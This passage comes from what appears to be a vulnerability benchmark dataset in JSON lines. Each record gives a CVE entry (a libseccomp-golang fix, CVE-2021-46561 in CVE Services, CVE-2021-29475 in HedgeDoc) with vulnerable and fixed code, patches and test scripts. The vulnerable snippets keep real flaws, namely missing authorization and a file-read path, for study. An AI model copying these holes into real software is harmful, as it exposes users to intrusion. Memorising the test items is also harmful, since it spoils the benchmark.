ScmpAction, exact bool, conds []ScmpCondition) error {\n\tf.lock.Lock()\n\tdefer f.lock.Unlock()\n\n\tif !f.valid {\n\t\treturn errBadFilter\n\t}\n\n\tif len(conds) == 0 {\n\t\tif err := f.addRuleWrapper(call, action, exact, 0, nil); err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\t// We don't support conditional filtering in library version v2.1\n\t\tif !checkVersionAbove(2, 2, 1) {\n\t\t\treturn VersionError{\n\t\t\t\tmessage: \"conditional filtering is not supported\",\n\t\t\t\tminimum: \"2.2.1\",\n\t\t\t}\n\t\t}\n\n\t\targsArr := C.make_arg_cmp_array(C.uint(len(conds)))\n\t\tif argsArr == nil {\n\t\t\treturn fmt.Errorf(\"error allocating memory for conditions\")\n\t\t}\n\t\tdefer C.free(argsArr)\n\n\t\tfor i, cond := range conds {\n\t\t\tC.add_struct_arg_cmp(C.scmp_cast_t(argsArr), C.uint(i),\n\t\t\t\tC.uint(cond.Argument), cond.Op.toNative(),\n\t\t\t\tC.uint64_t(cond.Operand1), C.uint64_t(cond.Operand2))\n\t\t}\n\n\t\tif err := f.addRuleWrapper(call, action, exact, C.uint(len(conds)), C.scmp_cast_t(argsArr)); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}"}, {"id": "fix_go_216_3", "commit": "06e7a29f36a34b8cf419aeb87b979ee508e58f9e", "file_path": "seccomp_internal.go", "start_line": 123, "end_line": 143, "snippet": "void* make_arg_cmp_array(unsigned int length)\n{\n        return calloc(length, sizeof(struct scmp_arg_cmp));\n}\n\n// Wrapper to add an scmp_arg_cmp struct to an existing arg_cmp array\nvoid add_struct_arg_cmp(\n                        struct scmp_arg_cmp* arr,\n                        unsigned int pos,\n                        unsigned int arg,\n                        int compare,\n                        uint64_t a,\n                        uint64_t b\n                       )\n{\n        arr[pos].arg = arg;\n        arr[pos].op = compare;\n        arr[pos].datum_a = a;\n        arr[pos].datum_b = b;\n\n        return;"}], "vul_patch": "--- a/seccomp_internal.go\n+++ b/seccomp_internal.go\n@@ -1,9 +1,6 @@\n-func (f *ScmpFilter) addRuleWrapper(call ScmpSyscall, action ScmpAction, exact bool, cond C.scmp_cast_t) error {\n-\tvar length C.uint\n-\tif cond != nil {\n-\t\tlength = 1\n-\t} else {\n-\t\tlength = 0\n+func (f *ScmpFilter) addRuleWrapper(call ScmpSyscall, action ScmpAction, exact bool, length C.uint, cond C.scmp_cast_t) error {\n+\tif length != 0 && cond == nil {\n+\t\treturn fmt.Errorf(\"null conditions list, but length is nonzero\")\n \t}\n \n \tvar retCode C.int\n@@ -17,6 +14,8 @@\n \t\treturn fmt.Errorf(\"unrecognized syscall\")\n \t} else if syscall.Errno(-1*retCode) == syscall.EPERM {\n \t\treturn fmt.Errorf(\"requested action matches default action of filter\")\n+\t} else if syscall.Errno(-1*retCode) == syscall.EINVAL {\n+\t\treturn fmt.Errorf(\"two checks on same syscall argument\")\n \t} else if retCode != 0 {\n \t\treturn syscall.Errno(-1 * retCode)\n \t}\n\n--- a/seccomp_internal.go\n+++ b/seccomp_internal.go\n@@ -7,7 +7,7 @@\n \t}\n \n \tif len(conds) == 0 {\n-\t\tif err := f.addRuleWrapper(call, action, exact, nil); err != nil {\n+\t\tif err := f.addRuleWrapper(call, action, exact, 0, nil); err != nil {\n \t\t\treturn err\n \t\t}\n \t} else {\n@@ -19,13 +19,20 @@\n \t\t\t}\n \t\t}\n \n-\t\tfor _, cond := range conds {\n-\t\t\tcmpStruct := C.make_struct_arg_cmp(C.uint(cond.Argument), cond.Op.toNative(), C.uint64_t(cond.Operand1), C.uint64_t(cond.Operand2))\n-\t\t\tdefer C.free(cmpStruct)\n+\t\targsArr := C.make_arg_cmp_array(C.uint(len(conds)))\n+\t\tif argsArr == nil {\n+\t\t\treturn fmt.Errorf(\"error allocating memory for conditions\")\n+\t\t}\n+\t\tdefer C.free(argsArr)\n \n-\t\t\tif err := f.addRuleWrapper(call, action, exact, C.scmp_cast_t(cmpStruct)); err != nil {\n-\t\t\t\treturn err\n-\t\t\t}\n+\t\tfor i, cond := range conds {\n+\t\t\tC.add_struct_arg_cmp(C.scmp_cast_t(argsArr), C.uint(i),\n+\t\t\t\tC.uint(cond.Argument), cond.Op.toNative(),\n+\t\t\t\tC.uint64_t(cond.Operand1), C.uint64_t(cond.Operand2))\n+\t\t}\n+\n+\t\tif err := f.addRuleWrapper(call, action, exact, C.uint(len(conds)), C.scmp_cast_t(argsArr)); err != nil {\n+\t\t\treturn err\n \t\t}\n \t}\n \n\n--- a/seccomp_internal.go\n+++ b/seccomp_internal.go\n@@ -1,17 +1,21 @@\n-// Wrapper to create an scmp_arg_cmp struct\n-void*\n-make_struct_arg_cmp(\n-                    unsigned int arg,\n-                    int compare,\n-                    uint64_t a,\n-                    uint64_t b\n-                   )\n+void* make_arg_cmp_array(unsigned int length)\n {\n-\tstruct scmp_arg_cmp *s = malloc(sizeof(struct scmp_arg_cmp));\n+        return calloc(length, sizeof(struct scmp_arg_cmp));\n+}\n \n-\ts->arg = arg;\n-\ts->op = compare;\n-\ts->datum_a = a;\n-\ts->datum_b = b;\n+// Wrapper to add an scmp_arg_cmp struct to an existing arg_cmp array\n+void add_struct_arg_cmp(\n+                        struct scmp_arg_cmp* arr,\n+                        unsigned int pos,\n+                        unsigned int arg,\n+                        int compare,\n+                        uint64_t a,\n+                        uint64_t b\n+                       )\n+{\n+        arr[pos].arg = arg;\n+        arr[pos].op = compare;\n+        arr[pos].datum_a = a;\n+        arr[pos].datum_b = b;\n \n-\treturn s;\n+        return;\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-46561", "cve_description": "controller/org.controller/org.controller.js in the CVE Services API 1.1.1 before 5c50baf3bda28133a3bc90b854765a64fb538304 allows an organizational administrator to transfer a user account to an arbitrary new organization, and thereby achieve unintended access within the context of that new organization.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/CVEProject/cve-services", "patch_url": ["https://github.com/CVEProject/cve-services/commit/5c50baf3bda28133a3bc90b854765a64fb538304"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_52_1", "commit": "7bd7989", "file_path": "src/controller/org.controller/org.controller.js", "start_line": 496, "end_line": 532, "snippet": "    Object.keys(req.ctx.query).forEach(k => {\n      const key = k.toLowerCase()\n\n      if (key === 'new_username') {\n        newUser.username = req.ctx.query.new_username\n      } else if (key === 'org_shortname') {\n        newOrgShortName = req.ctx.query.org_shortname\n        changesRequirePrivilegedRole = true\n      } else if (key === 'name.first') {\n        newUser.name.first = req.ctx.query['name.first']\n      } else if (key === 'name.last') {\n        newUser.name.last = req.ctx.query['name.last']\n      } else if (key === 'name.middle') {\n        newUser.name.middle = req.ctx.query['name.middle']\n      } else if (key === 'name.suffix') {\n        newUser.name.suffix = req.ctx.query['name.suffix']\n      } else if (key === 'name.surname') {\n        newUser.name.surname = req.ctx.query['name.surname']\n      } else if (key === 'active') {\n        newUser.active = req.ctx.query.active\n        changesRequirePrivilegedRole = true\n      } else if (key === 'active_roles.add') {\n        if (Array.isArray(req.ctx.query['active_roles.add'])) {\n          req.ctx.query['active_roles.add'].forEach(r => {\n            addRoles.push(r)\n          })\n          changesRequirePrivilegedRole = true\n        }\n      } else if (key === 'active_roles.remove') {\n        if (Array.isArray(req.ctx.query['active_roles.remove'])) {\n          req.ctx.query['active_roles.remove'].forEach(r => {\n            removeRoles.push(r)\n          })\n          changesRequirePrivilegedRole = true\n        }\n      }\n    })"}], "fix_func": [{"id": "fix_js_52_2", "commit": "5c50baf", "file_path": "src/controller/org.controller/error.js", "start_line": 25, "end_line": 31, "snippet": "  notAllowedToChangeOrganization () {\n    const err = {}\n    err.error = 'NOT_ALLOWED_TO_CHANGE_ORGANIZATION'\n    err.message = 'Only the Secretariat can change the organization for a user.'\n    return err\n  }\n"}, {"id": "fix_js_52_1", "commit": "5c50baf", "file_path": "src/controller/org.controller/org.controller.js", "start_line": 459, "end_line": 628, "snippet": "async function updateUser (req, res, next) {\n  try {\n    const requesterShortName = req.ctx.org\n    const requesterUsername = req.ctx.user\n    const username = req.ctx.params.username\n    const shortName = req.ctx.params.shortname\n    const newUser = new User()\n    let newOrgShortName\n    let changesRequirePrivilegedRole // Set variable to true if protected fields are being modified\n    const removeRoles = []\n    const addRoles = []\n    const userRepo = req.ctx.repositories.getUserRepository()\n    const orgRepo = req.ctx.repositories.getOrgRepository()\n    const orgUUID = await orgRepo.getOrgUUID(shortName)\n    const isSecretariat = await orgRepo.isSecretariat(requesterShortName)\n    const isAdmin = await userRepo.isAdmin(requesterUsername, requesterShortName) // Check if requester is Admin of the designated user's org\n\n    if (!orgUUID) {\n      logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + shortName + ' organization does not exist.' })\n      return res.status(404).json(error.orgDneParam(shortName))\n    }\n\n    const user = await userRepo.findOneByUserNameAndOrgUUID(username, orgUUID)\n    if (!user) {\n      logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + username + ' does not exist for ' + shortName + ' organization.' })\n      return res.status(404).json(error.userDne(username))\n    }\n\n    // check if the user is not the requester or if the requester is not a secretariat\n    if ((shortName !== requesterShortName || username !== requesterUsername) && !isSecretariat) {\n      // check if the requester is not and admin; if admin, the requester must be from the same org as the user\n      if (!isAdmin || (isAdmin && shortName !== requesterShortName)) {\n        logger.info({ uuid: req.ctx.uuid, message: 'The user can only be updated by the Secretariat, an Org admin or if the requester is the user.' })\n        return res.status(403).json(error.notSameUserOrSecretariat())\n      }\n    }\n\n    Object.keys(req.ctx.query).forEach(k => {\n      const key = k.toLowerCase()\n\n      if (key === 'new_username') {\n        newUser.username = req.ctx.query.new_username\n      } else if (key === 'org_shortname') {\n        newOrgShortName = req.ctx.query.org_shortname\n        changesRequirePrivilegedRole = true\n        if (!isSecretariat) {\n          logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + requesterUsername + ' is an Org Admin and tried to reassign the organization.' })\n          return res.status(403).json(error.notAllowedToChangeOrganization())\n        }\n      } else if (key === 'name.first') {\n        newUser.name.first = req.ctx.query['name.first']\n      } else if (key === 'name.last') {\n        newUser.name.last = req.ctx.query['name.last']\n      } else if (key === 'name.middle') {\n        newUser.name.middle = req.ctx.query['name.middle']\n      } else if (key === 'name.suffix') {\n        newUser.name.suffix = req.ctx.query['name.suffix']\n      } else if (key === 'name.surname') {\n        newUser.name.surname = req.ctx.query['name.surname']\n      } else if (key === 'active') {\n        newUser.active = req.ctx.query.active\n        changesRequirePrivilegedRole = true\n      } else if (key === 'active_roles.add') {\n        if (Array.isArray(req.ctx.query['active_roles.add'])) {\n          req.ctx.query['active_roles.add'].forEach(r => {\n            addRoles.push(r)\n          })\n          changesRequirePrivilegedRole = true\n        }\n      } else if (key === 'active_roles.remove') {\n        if (Array.isArray(req.ctx.query['active_roles.remove'])) {\n          req.ctx.query['active_roles.remove'].forEach(r => {\n            removeRoles.push(r)\n          })\n          changesRequirePrivilegedRole = true\n        }\n      }\n    })\n\n    // updating user's roles and org_uuid is only allowed for secretariats and org admins\n    if (changesRequirePrivilegedRole && !(isAdmin || isSecretariat)) {\n      logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + requesterUsername + ' user is not Org Admin or Secretariat to modify these fields.' })\n      return res.status(403).json(error.notOrgAdminOrSecretariat())\n    }\n\n    // check if the new org exist\n    if (newOrgShortName) {\n      newUser.org_UUID = await orgRepo.getOrgUUID(newOrgShortName)\n\n      if (!newUser.org_UUID) {\n        logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + newOrgShortName + ' organization does not exist.' })\n        return res.status(404).json(error.orgDne(newOrgShortName))\n      }\n    }\n\n    let agt = setAggregateUserObj({ username: username, org_UUID: orgUUID })\n\n    // check if org has user of same username already\n    if (newUser.username && newUser.org_UUID) {\n      agt = setAggregateUserObj({ username: newUser.username, org_UUID: newUser.org_UUID })\n      const duplicateUsers = await userRepo.find({ org_UUID: newUser.org_UUID, username: newUser.username })\n      if (duplicateUsers.length) {\n        logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + newOrgShortName + ' organization contains a user with the same username.' })\n        return res.status(403).json(error.duplicateUsername(newOrgShortName, newUser.username))\n      }\n    } else if (newUser.username) {\n      agt = setAggregateUserObj({ username: newUser.username, org_UUID: orgUUID })\n      const duplicateUsers = await userRepo.find({ org_UUID: orgUUID, username: newUser.username })\n      if (duplicateUsers.length) {\n        logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + shortName + ' organization contains a user with the same username.' })\n        return res.status(403).json(error.duplicateUsername(shortName, newUser.username))\n      }\n    } else if (newUser.org_UUID) {\n      agt = setAggregateUserObj({ username: username, org_UUID: newUser.org_UUID })\n      const duplicateUsers = await userRepo.find({ org_UUID: newUser.org_UUID, username: username })\n      if (duplicateUsers.length) {\n        logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + newOrgShortName + ' organization contains a user with the same username.' })\n        return res.status(403).json(error.duplicateUsername(newOrgShortName, username))\n      }\n    }\n\n    // updating the user's roles\n    const roles = user.authority.active_roles\n\n    // adding roles\n    addRoles.forEach(role => {\n      if (!roles.includes(role)) {\n        roles.push(role)\n      }\n    })\n\n    // removing roles\n    removeRoles.forEach(role => {\n      const index = roles.indexOf(role)\n\n      if (index > -1) {\n        roles.splice(index, 1)\n      }\n    })\n\n    newUser.authority.active_roles = roles\n\n    let result = await userRepo.updateByUserNameAndOrgUUID(username, orgUUID, newUser)\n    if (result.n === 0) {\n      logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + username + ' does not exist for ' + shortName + ' organization.' })\n      return res.status(404).json(error.userDne(username))\n    }\n\n    result = await userRepo.aggregate(agt)\n    result = result.length > 0 ? result[0] : null\n\n    const responseMessage = {\n      message: username + ' was successfully updated.',\n      updated: result\n    }\n\n    const payload = {\n      action: 'update_user',\n      change: username + ' was successfully updated.',\n      req_UUID: req.ctx.uuid,\n      org_UUID: await orgRepo.getOrgUUID(req.ctx.org),\n      user: result\n    }\n    payload.user_UUID = await userRepo.getUserUUID(req.ctx.user, payload.org_UUID)\n    logger.info(JSON.stringify(payload))\n    return res.status(200).json(responseMessage)\n  } catch (err) {\n    next(err)\n  }\n}"}], "vul_patch": "--- a/src/controller/org.controller/org.controller.js\n+++ b/src/controller/org.controller/org.controller.js\n@@ -1,3 +1,40 @@\n+async function updateUser (req, res, next) {\n+  try {\n+    const requesterShortName = req.ctx.org\n+    const requesterUsername = req.ctx.user\n+    const username = req.ctx.params.username\n+    const shortName = req.ctx.params.shortname\n+    const newUser = new User()\n+    let newOrgShortName\n+    let changesRequirePrivilegedRole // Set variable to true if protected fields are being modified\n+    const removeRoles = []\n+    const addRoles = []\n+    const userRepo = req.ctx.repositories.getUserRepository()\n+    const orgRepo = req.ctx.repositories.getOrgRepository()\n+    const orgUUID = await orgRepo.getOrgUUID(shortName)\n+    const isSecretariat = await orgRepo.isSecretariat(requesterShortName)\n+    const isAdmin = await userRepo.isAdmin(requesterUsername, requesterShortName) // Check if requester is Admin of the designated user's org\n+\n+    if (!orgUUID) {\n+      logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + shortName + ' organization does not exist.' })\n+      return res.status(404).json(error.orgDneParam(shortName))\n+    }\n+\n+    const user = await userRepo.findOneByUserNameAndOrgUUID(username, orgUUID)\n+    if (!user) {\n+      logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + username + ' does not exist for ' + shortName + ' organization.' })\n+      return res.status(404).json(error.userDne(username))\n+    }\n+\n+    // check if the user is not the requester or if the requester is not a secretariat\n+    if ((shortName !== requesterShortName || username !== requesterUsername) && !isSecretariat) {\n+      // check if the requester is not and admin; if admin, the requester must be from the same org as the user\n+      if (!isAdmin || (isAdmin && shortName !== requesterShortName)) {\n+        logger.info({ uuid: req.ctx.uuid, message: 'The user can only be updated by the Secretariat, an Org admin or if the requester is the user.' })\n+        return res.status(403).json(error.notSameUserOrSecretariat())\n+      }\n+    }\n+\n     Object.keys(req.ctx.query).forEach(k => {\n       const key = k.toLowerCase()\n \n@@ -6,6 +43,10 @@\n       } else if (key === 'org_shortname') {\n         newOrgShortName = req.ctx.query.org_shortname\n         changesRequirePrivilegedRole = true\n+        if (!isSecretariat) {\n+          logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + requesterUsername + ' is an Org Admin and tried to reassign the organization.' })\n+          return res.status(403).json(error.notAllowedToChangeOrganization())\n+        }\n       } else if (key === 'name.first') {\n         newUser.name.first = req.ctx.query['name.first']\n       } else if (key === 'name.last') {\n@@ -35,3 +76,95 @@\n         }\n       }\n     })\n+\n+    // updating user's roles and org_uuid is only allowed for secretariats and org admins\n+    if (changesRequirePrivilegedRole && !(isAdmin || isSecretariat)) {\n+      logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + requesterUsername + ' user is not Org Admin or Secretariat to modify these fields.' })\n+      return res.status(403).json(error.notOrgAdminOrSecretariat())\n+    }\n+\n+    // check if the new org exist\n+    if (newOrgShortName) {\n+      newUser.org_UUID = await orgRepo.getOrgUUID(newOrgShortName)\n+\n+      if (!newUser.org_UUID) {\n+        logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + newOrgShortName + ' organization does not exist.' })\n+        return res.status(404).json(error.orgDne(newOrgShortName))\n+      }\n+    }\n+\n+    let agt = setAggregateUserObj({ username: username, org_UUID: orgUUID })\n+\n+    // check if org has user of same username already\n+    if (newUser.username && newUser.org_UUID) {\n+      agt = setAggregateUserObj({ username: newUser.username, org_UUID: newUser.org_UUID })\n+      const duplicateUsers = await userRepo.find({ org_UUID: newUser.org_UUID, username: newUser.username })\n+      if (duplicateUsers.length) {\n+        logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + newOrgShortName + ' organization contains a user with the same username.' })\n+        return res.status(403).json(error.duplicateUsername(newOrgShortName, newUser.username))\n+      }\n+    } else if (newUser.username) {\n+      agt = setAggregateUserObj({ username: newUser.username, org_UUID: orgUUID })\n+      const duplicateUsers = await userRepo.find({ org_UUID: orgUUID, username: newUser.username })\n+      if (duplicateUsers.length) {\n+        logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + shortName + ' organization contains a user with the same username.' })\n+        return res.status(403).json(error.duplicateUsername(shortName, newUser.username))\n+      }\n+    } else if (newUser.org_UUID) {\n+      agt = setAggregateUserObj({ username: username, org_UUID: newUser.org_UUID })\n+      const duplicateUsers = await userRepo.find({ org_UUID: newUser.org_UUID, username: username })\n+      if (duplicateUsers.length) {\n+        logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + newOrgShortName + ' organization contains a user with the same username.' })\n+        return res.status(403).json(error.duplicateUsername(newOrgShortName, username))\n+      }\n+    }\n+\n+    // updating the user's roles\n+    const roles = user.authority.active_roles\n+\n+    // adding roles\n+    addRoles.forEach(role => {\n+      if (!roles.includes(role)) {\n+        roles.push(role)\n+      }\n+    })\n+\n+    // removing roles\n+    removeRoles.forEach(role => {\n+      const index = roles.indexOf(role)\n+\n+      if (index > -1) {\n+        roles.splice(index, 1)\n+      }\n+    })\n+\n+    newUser.authority.active_roles = roles\n+\n+    let result = await userRepo.updateByUserNameAndOrgUUID(username, orgUUID, newUser)\n+    if (result.n === 0) {\n+      logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + username + ' does not exist for ' + shortName + ' organization.' })\n+      return res.status(404).json(error.userDne(username))\n+    }\n+\n+    result = await userRepo.aggregate(agt)\n+    result = result.length > 0 ? result[0] : null\n+\n+    const responseMessage = {\n+      message: username + ' was successfully updated.',\n+      updated: result\n+    }\n+\n+    const payload = {\n+      action: 'update_user',\n+      change: username + ' was successfully updated.',\n+      req_UUID: req.ctx.uuid,\n+      org_UUID: await orgRepo.getOrgUUID(req.ctx.org),\n+      user: result\n+    }\n+    payload.user_UUID = await userRepo.getUserUUID(req.ctx.user, payload.org_UUID)\n+    logger.info(JSON.stringify(payload))\n+    return res.status(200).json(responseMessage)\n+  } catch (err) {\n+    next(err)\n+  }\n+}\n\n--- /dev/null\n+++ b/src/controller/org.controller/org.controller.js\n@@ -0,0 +1,6 @@\n+  notAllowedToChangeOrganization () {\n+    const err = {}\n+    err.error = 'NOT_ALLOWED_TO_CHANGE_ORGANIZATION'\n+    err.message = 'Only the Secretariat can change the organization for a user.'\n+    return err\n+  }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-46561:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/cve-services\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha test/unit-tests/user/userUpdateTest.js --grep \"User is not updated because Org Admin is trying to change organization\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-46561:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/cve-services\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha test/unit-tests/user/userUpdateTest.js"}
{"cve_id": "CVE-2021-29475", "cve_description": "HedgeDoc (formerly known as CodiMD) is an open-source collaborative markdown editor. An attacker is able to receive arbitrary files from the file system when exporting a note to PDF. Since the code injection has to take place as note content, there fore this exploit requires the attackers ability to modify a note. This will affect all instances, which have pdf export enabled. This issue has been fixed by https://github.com/hedgedoc/hedgedoc/commit/c1789474020a6d668d616464cb2da5e90e123f65 and is available in version 1.5.0. Starting the CodiMD/HedgeDoc instance with `CMD_ALLOW_PDF_EXPORT=false` or set `\"allowPDFExport\": false` in config.json can mitigate this issue for those who cannot upgrade. This exploit works because while PhantomJS doesn't actually render the `file:///` references to the PDF file itself, it still uses them internally, and exfiltration is possible, and easy through JavaScript rendering. The impact is pretty bad, as the attacker is able to read the CodiMD/HedgeDoc `config.json` file as well any other files on the filesystem. Even though the suggested Docker deploy option doesn't have many interesting files itself, the `config.json` still often contains sensitive information, database credentials, and maybe OAuth secrets among other things.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/hedgedoc/hedgedoc", "patch_url": ["https://github.com/hedgedoc/hedgedoc/commit/c1789474020a6d668d616464cb2da5e90e123f65"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_293_1", "commit": "e574ae7588ef2981799ddefe3684809e27411204", "file_path": "lib/config/index.js", "start_line": 1, "end_line": 209, "snippet": "\n'use strict'\n\nconst crypto = require('crypto')\nconst fs = require('fs')\nconst path = require('path')\nconst { merge } = require('lodash')\nconst deepFreeze = require('deep-freeze')\nconst { Environment, Permission } = require('./enum')\nconst logger = require('../logger')\nconst { getGitCommit, getGitHubURL } = require('./utils')\n\nconst appRootPath = path.resolve(__dirname, '../../')\nconst env = process.env.NODE_ENV || Environment.development\nconst debugConfig = {\n  debug: (env === Environment.development)\n}\n\n// Get version string from package.json\nconst { version, repository } = require(path.join(appRootPath, 'package.json'))\n\nconst commitID = getGitCommit(appRootPath)\nconst sourceURL = getGitHubURL(repository.url, commitID || version)\nconst fullversion = commitID ? `${version}-${commitID}` : version\n\nconst packageConfig = {\n  version: version,\n  minimumCompatibleVersion: '0.5.0',\n  fullversion: fullversion,\n  sourceURL: sourceURL\n}\n\nconst configFilePath = path.resolve(appRootPath, process.env.CMD_CONFIG_FILE ||\n'config.json')\nconst fileConfig = fs.existsSync(configFilePath) ? require(configFilePath)[env] : undefined\n\nlet config = require('./default')\nmerge(config, require('./defaultSSL'))\nmerge(config, require('./oldDefault'))\nmerge(config, debugConfig)\nmerge(config, packageConfig)\nmerge(config, fileConfig)\nmerge(config, require('./oldEnvironment'))\nmerge(config, require('./hackmdEnvironment'))\nmerge(config, require('./environment'))\nmerge(config, require('./dockerSecret'))\n\nif (['debug', 'verbose', 'info', 'warn', 'error'].includes(config.loglevel)) {\n  logger.level = config.loglevel\n} else {\n  logger.error('Selected loglevel %s doesn\\'t exist, using default level \\'debug\\'. Available options: debug, verbose, info, warn, error', config.loglevel)\n}\n\n// load LDAP CA\nif (config.ldap.tlsca) {\n  let ca = config.ldap.tlsca.split(',')\n  let caContent = []\n  for (let i of ca) {\n    if (fs.existsSync(i)) {\n      caContent.push(fs.readFileSync(i, 'utf8'))\n    }\n  }\n  let tlsOptions = {\n    ca: caContent\n  }\n  config.ldap.tlsOptions = config.ldap.tlsOptions ? Object.assign(config.ldap.tlsOptions, tlsOptions) : tlsOptions\n}\n\n// Permission\nconfig.permission = Permission\nif (!config.allowAnonymous && !config.allowAnonymousEdits) {\n  delete config.permission.freely\n}\nif (!(config.defaultPermission in config.permission)) {\n  config.defaultPermission = config.permission.editable\n}\n\n// cache result, cannot change config in runtime!!!\nconfig.isStandardHTTPsPort = (function isStandardHTTPsPort () {\n  return config.useSSL && config.port === 443\n})()\nconfig.isStandardHTTPPort = (function isStandardHTTPPort () {\n  return !config.useSSL && config.port === 80\n})()\n\n// cache serverURL\nconfig.serverURL = (function getserverurl () {\n  var url = ''\n  if (config.domain) {\n    var protocol = config.protocolUseSSL ? 'https://' : 'http://'\n    url = protocol + config.domain\n    if (config.urlAddPort) {\n      if (!config.isStandardHTTPPort || !config.isStandardHTTPsPort) {\n        url += ':' + config.port\n      }\n    }\n  }\n  if (config.urlPath) {\n    url += '/' + config.urlPath\n  }\n  return url\n})()\n\nif (config.serverURL === '') {\n  logger.warn('Neither \\'domain\\' nor \\'CMD_DOMAIN\\' is configured. This can cause issues with various components.\\nHint: Make sure \\'protocolUseSSL\\' and \\'urlAddPort\\' or \\'CMD_PROTOCOL_USESSL\\' and \\'CMD_URL_ADDPORT\\' are configured properly.')\n}\n\nconfig.Environment = Environment\n\n// auth method\nconfig.isFacebookEnable = config.facebook.clientID && config.facebook.clientSecret\nconfig.isGoogleEnable = config.google.clientID && config.google.clientSecret\nconfig.isDropboxEnable = config.dropbox.clientID && config.dropbox.clientSecret\nconfig.isTwitterEnable = config.twitter.consumerKey && config.twitter.consumerSecret\nconfig.isEmailEnable = config.email\nconfig.isOpenIDEnable = config.openID\nconfig.isGitHubEnable = config.github.clientID && config.github.clientSecret\nconfig.isGitLabEnable = config.gitlab.clientID && config.gitlab.clientSecret\nconfig.isMattermostEnable = config.mattermost.clientID && config.mattermost.clientSecret\nconfig.isLDAPEnable = config.ldap.url\nconfig.isSAMLEnable = config.saml.idpSsoUrl\nconfig.isOAuth2Enable = config.oauth2.clientID && config.oauth2.clientSecret\nconfig.isPDFExportEnable = config.allowPDFExport\n\n// Check gitlab api version\nif (config.gitlab && config.gitlab.version !== 'v4' && config.gitlab.version !== 'v3') {\n  logger.warn('config.js contains wrong version (' + config.gitlab.version + ') for gitlab api; it should be \\'v3\\' or \\'v4\\'. Defaulting to v4')\n  config.gitlab.version = 'v4'\n}\n// If gitlab scope is api, enable snippets Export/import\nconfig.isGitlabSnippetsEnable = (!config.gitlab.scope || config.gitlab.scope === 'api') && config.isGitLabEnable\n\n// Only update i18n files in development setups\nconfig.updateI18nFiles = (env === Environment.development)\n\n// merge legacy values\nlet keys = Object.keys(config)\nconst uppercase = /[A-Z]/\nfor (let i = keys.length; i--;) {\n  let lowercaseKey = keys[i].toLowerCase()\n  // if the config contains uppercase letters\n  // and a lowercase version of this setting exists\n  // and the config with uppercase is not set\n  // we set the new config using the old key.\n  if (uppercase.test(keys[i]) &&\n  config[lowercaseKey] !== undefined &&\n  fileConfig[keys[i]] === undefined) {\n    logger.warn('config.js contains deprecated lowercase setting for ' + keys[i] + '. Please change your config.js file to replace ' + lowercaseKey + ' with ' + keys[i])\n    config[keys[i]] = config[lowercaseKey]\n  }\n}\n\n// Notify users about the prefix change and inform them they use legacy prefix for environment variables\nif (Object.keys(process.env).toString().indexOf('HMD_') !== -1) {\n  logger.warn('Using legacy HMD prefix for environment variables. Please change your variables in future. For details see: https://github.com/codimd/server#environment-variables-will-overwrite-other-server-configs')\n}\n\n// Generate session secret if it stays on default values\nif (config.sessionSecret === 'secret') {\n  logger.warn('Session secret not set. Using random generated one. Please set `sessionSecret` in your config.js file. All users will be logged out.')\n  config.sessionSecret = crypto.randomBytes(Math.ceil(config.sessionSecretLen / 2)) // generate crypto graphic random number\n    .toString('hex') // convert to hexadecimal format\n    .slice(0, config.sessionSecretLen) // return required number of characters\n}\n\n// Validate upload upload providers\nif (['filesystem', 's3', 'minio', 'imgur', 'azure', 'lutim'].indexOf(config.imageUploadType) === -1) {\n  logger.error('\"imageuploadtype\" is not correctly set. Please use \"filesystem\", \"s3\", \"minio\", \"azure\", \"lutim\" or \"imgur\". Defaulting to \"filesystem\"')\n  config.imageUploadType = 'filesystem'\n}\n\n// figure out mime types for image uploads\nswitch (config.imageUploadType) {\n  case 'imgur':\n    config.allowedUploadMimeTypes = [\n      'image/jpeg',\n      'image/png',\n      'image/jpg',\n      'image/gif'\n    ]\n    break\n  default:\n    config.allowedUploadMimeTypes = [\n      'image/jpeg',\n      'image/png',\n      'image/jpg',\n      'image/gif',\n      'image/svg+xml'\n    ]\n}\n\n// generate correct path\nconfig.sslCAPath.forEach(function (capath, i, array) {\n  array[i] = path.resolve(appRootPath, capath)\n})\n\nconfig.sslCertPath = path.resolve(appRootPath, config.sslCertPath)\nconfig.sslKeyPath = path.resolve(appRootPath, config.sslKeyPath)\nconfig.dhParamPath = path.resolve(appRootPath, config.dhParamPath)\nconfig.viewPath = path.resolve(appRootPath, config.viewPath)\nconfig.tmpPath = path.resolve(appRootPath, 